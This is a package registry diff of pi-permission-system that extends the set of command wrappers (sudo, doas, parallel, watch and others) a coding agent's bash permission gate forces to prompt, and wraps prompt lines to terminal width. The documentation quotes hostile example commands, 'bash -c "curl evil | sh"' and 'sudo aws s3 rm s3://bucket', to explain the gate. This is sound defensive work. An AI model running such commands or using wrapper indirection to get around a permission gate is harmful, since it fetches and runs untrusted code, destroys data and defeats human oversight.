@gotgenes/pi-permission-system 20.7.0 → 20.7.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md
CHANGED
|
@@ -5,6 +5,25 @@ All notable changes to this project will be documented in this file.
|
|
|
5
5
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
|
6
6
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
|
7
7
|
|
|
8
|
+
## [20.7.2](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v20.7.1...pi-permission-system-v20.7.2) (2026-07-14)
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
### Bug Fixes
|
|
12
|
+
|
|
13
|
+
* **pi-permission-system:** floor additional exec-capable indirection wrappers ([#575](https://github.com/gotgenes/pi-packages/issues/575)) ([abddb7b](https://github.com/gotgenes/pi-packages/commit/abddb7b70077cef7fc12f3eea75ce6f38de6006f))
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
### Documentation
|
|
17
|
+
|
|
18
|
+
* **pi-permission-system:** record exec-capable wrapper survey and mark Phase 11 Step 6 complete ([#575](https://github.com/gotgenes/pi-packages/issues/575)) ([6485246](https://github.com/gotgenes/pi-packages/commit/6485246577ec1cba992275b983809a1fcb30be2c))
|
|
19
|
+
|
|
20
|
+
## [20.7.1](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v20.7.0...pi-permission-system-v20.7.1) (2026-07-14)
|
|
21
|
+
|
|
22
|
+
|
|
23
|
+
### Bug Fixes
|
|
24
|
+
|
|
25
|
+
* **pi-permission-system:** clip inline permission prompt lines to terminal width ([e3c6907](https://github.com/gotgenes/pi-packages/commit/e3c6907057070cbb444f4ca0dbc69661849b7dc2)), closes [#573](https://github.com/gotgenes/pi-packages/issues/573)
|
|
26
|
+
|
|
8
27
|
## [20.7.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v20.6.0...pi-permission-system-v20.7.0) (2026-07-14)
|
|
9
28
|
|
|
10
29
|
|
package/docs/configuration.md
CHANGED
|
@@ -326,7 +326,7 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
|
|
|
326
326
|
- An opaque-payload wrapper — `bash`/`sh`/`dash`/`zsh`/`ksh` invoked with `-c`, or `eval` — carries its inner program in a quoted argument that is not re-parsed, so its decision is floored to at least **`ask`** (the synthetic `<opaque-bash-wrapper>` pattern in the review log).
|
|
327
327
|
An `allow` (including a permissive top-level `*`) is clamped up to `ask`, while an explicit `deny` rule on the wrapper still denies.
|
|
328
328
|
So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`.
|
|
329
|
-
- An indirection wrapper — `sudo`, `env`, `xargs`, `time`, `nohup`, `timeout`, `nice`, or `find`/`fd` carrying a per-result exec flag (`find` with `-exec`/`-execdir`/`-ok`/`-okdir`, `fd` with `-x`/`--exec`/`-X`/`--exec-batch`) — runs a following command that a rule on the wrapper text would otherwise never gate, so its decision is floored the same way (the synthetic `<indirection-bash-wrapper>` pattern in the review log).
|
|
329
|
+
- An indirection wrapper — `sudo`, `env`, `xargs`, `time`, `nohup`, `timeout`, `nice`, `parallel`, `rust-parallel`, `rush`, `doas`, `setsid`, `stdbuf`, `watch`, `flock`, or `find`/`fd` carrying a per-result exec flag (`find` with `-exec`/`-execdir`/`-ok`/`-okdir`, `fd` with `-x`/`--exec`/`-X`/`--exec-batch`) — runs a following command that a rule on the wrapper text would otherwise never gate, so its decision is floored the same way (the synthetic `<indirection-bash-wrapper>` pattern in the review log).
|
|
330
330
|
So `sudo aws s3 rm s3://bucket` prompts rather than riding an `aws *: allow`, while a bare `find . -name '*.py'` search (no exec flag) is unaffected.
|
|
331
331
|
As with the opaque floor, there is no way to auto-allow a wrapper: an `allow` is clamped to `ask`, and an explicit `deny` still denies.
|
|
332
332
|
|
package/package.json
CHANGED
|
@@ -166,6 +166,17 @@ const INDIRECTION_WRAPPER_NAMES = new Set([
|
|
|
166
166
|
"nohup",
|
|
167
167
|
"timeout",
|
|
168
168
|
"nice",
|
|
169
|
+
// Exec-capable rewrites and prefix wrappers surveyed in #575: parallelizers
|
|
170
|
+
// (parallel/rust-parallel/rush), a sudo rewrite (doas), and prefix wrappers
|
|
171
|
+
// (setsid/stdbuf/watch/flock) that all always invoke a following command.
|
|
172
|
+
"parallel",
|
|
173
|
+
"rust-parallel",
|
|
174
|
+
"rush",
|
|
175
|
+
"doas",
|
|
176
|
+
"setsid",
|
|
177
|
+
"stdbuf",
|
|
178
|
+
"watch",
|
|
179
|
+
"flock",
|
|
169
180
|
]);
|
|
170
181
|
|
|
171
182
|
/**
|
|
@@ -2,7 +2,12 @@ import type {
|
|
|
2
2
|
ExtensionContext,
|
|
3
3
|
ExtensionUIContext,
|
|
4
4
|
} from "@earendil-works/pi-coding-agent";
|
|
5
|
-
import {
|
|
5
|
+
import {
|
|
6
|
+
type Component,
|
|
7
|
+
matchesKey,
|
|
8
|
+
truncateToWidth,
|
|
9
|
+
wrapTextWithAnsi,
|
|
10
|
+
} from "@earendil-works/pi-tui";
|
|
6
11
|
import {
|
|
7
12
|
type PermissionPromptDecision,
|
|
8
13
|
type RequestPermissionOptions,
|
|
@@ -126,7 +131,11 @@ class PermissionPromptComponent implements Component {
|
|
|
126
131
|
// No cached rendering state to clear.
|
|
127
132
|
}
|
|
128
133
|
|
|
129
|
-
render(
|
|
134
|
+
render(width: number): string[] {
|
|
135
|
+
return fitToWidth(this.renderStep(), width);
|
|
136
|
+
}
|
|
137
|
+
|
|
138
|
+
private renderStep(): string[] {
|
|
130
139
|
switch (this.state.step) {
|
|
131
140
|
case "decision":
|
|
132
141
|
return this.renderDecision();
|
|
@@ -264,6 +273,24 @@ class PermissionPromptComponent implements Component {
|
|
|
264
273
|
}
|
|
265
274
|
}
|
|
266
275
|
|
|
276
|
+
/**
|
|
277
|
+
* Fit rendered lines to the terminal width, satisfying the `ctx.ui.custom`
|
|
278
|
+
* contract that every returned line be a single visual row no wider than
|
|
279
|
+
* `width`. Long lines (e.g. a wide tool-preview message) are wrapped rather
|
|
280
|
+
* than clipped so no content is lost; the final `truncateToWidth` guards the
|
|
281
|
+
* edge cases `wrapTextWithAnsi` cannot split (a lone wide grapheme).
|
|
282
|
+
*/
|
|
283
|
+
function fitToWidth(lines: string[], width: number): string[] {
|
|
284
|
+
if (width <= 0) {
|
|
285
|
+
return [];
|
|
286
|
+
}
|
|
287
|
+
return lines.flatMap((line) =>
|
|
288
|
+
wrapTextWithAnsi(line, width).map((wrapped) =>
|
|
289
|
+
truncateToWidth(wrapped, width),
|
|
290
|
+
),
|
|
291
|
+
);
|
|
292
|
+
}
|
|
293
|
+
|
|
267
294
|
function isPrintable(data: string): boolean {
|
|
268
295
|
if (data.length !== 1) {
|
|
269
296
|
return false;
|
|
@@ -21,24 +21,6 @@ export function normalizeFilesystemPath(
|
|
|
21
21
|
return flavor.fold(flavor.impl.normalize(pathValue));
|
|
22
22
|
}
|
|
23
23
|
|
|
24
|
-
function isPathWithinDirectoryForSubagent(
|
|
25
|
-
pathValue: string,
|
|
26
|
-
directory: string,
|
|
27
|
-
flavor: PathFlavor,
|
|
28
|
-
): boolean {
|
|
29
|
-
if (!pathValue || !directory) {
|
|
30
|
-
return false;
|
|
31
|
-
}
|
|
32
|
-
|
|
33
|
-
if (pathValue === directory) {
|
|
34
|
-
return true;
|
|
35
|
-
}
|
|
36
|
-
|
|
37
|
-
const sep = flavor.impl.sep;
|
|
38
|
-
const prefix = directory.endsWith(sep) ? directory : `${directory}${sep}`;
|
|
39
|
-
return pathValue.startsWith(prefix);
|
|
40
|
-
}
|
|
41
|
-
|
|
42
24
|
/**
|
|
43
25
|
* Return `true` when `ctx` belongs to an in-process subagent child registered
|
|
44
26
|
* in `registry` by its session id.
|
|
@@ -101,9 +83,5 @@ export function isSubagentExecutionContext(
|
|
|
101
83
|
subagentSessionsDir,
|
|
102
84
|
flavor,
|
|
103
85
|
);
|
|
104
|
-
return
|
|
105
|
-
normalizedSessionDir,
|
|
106
|
-
normalizedSubagentRoot,
|
|
107
|
-
flavor,
|
|
108
|
-
);
|
|
86
|
+
return flavor.isWithin(normalizedSessionDir, normalizedSubagentRoot);
|
|
109
87
|
}
|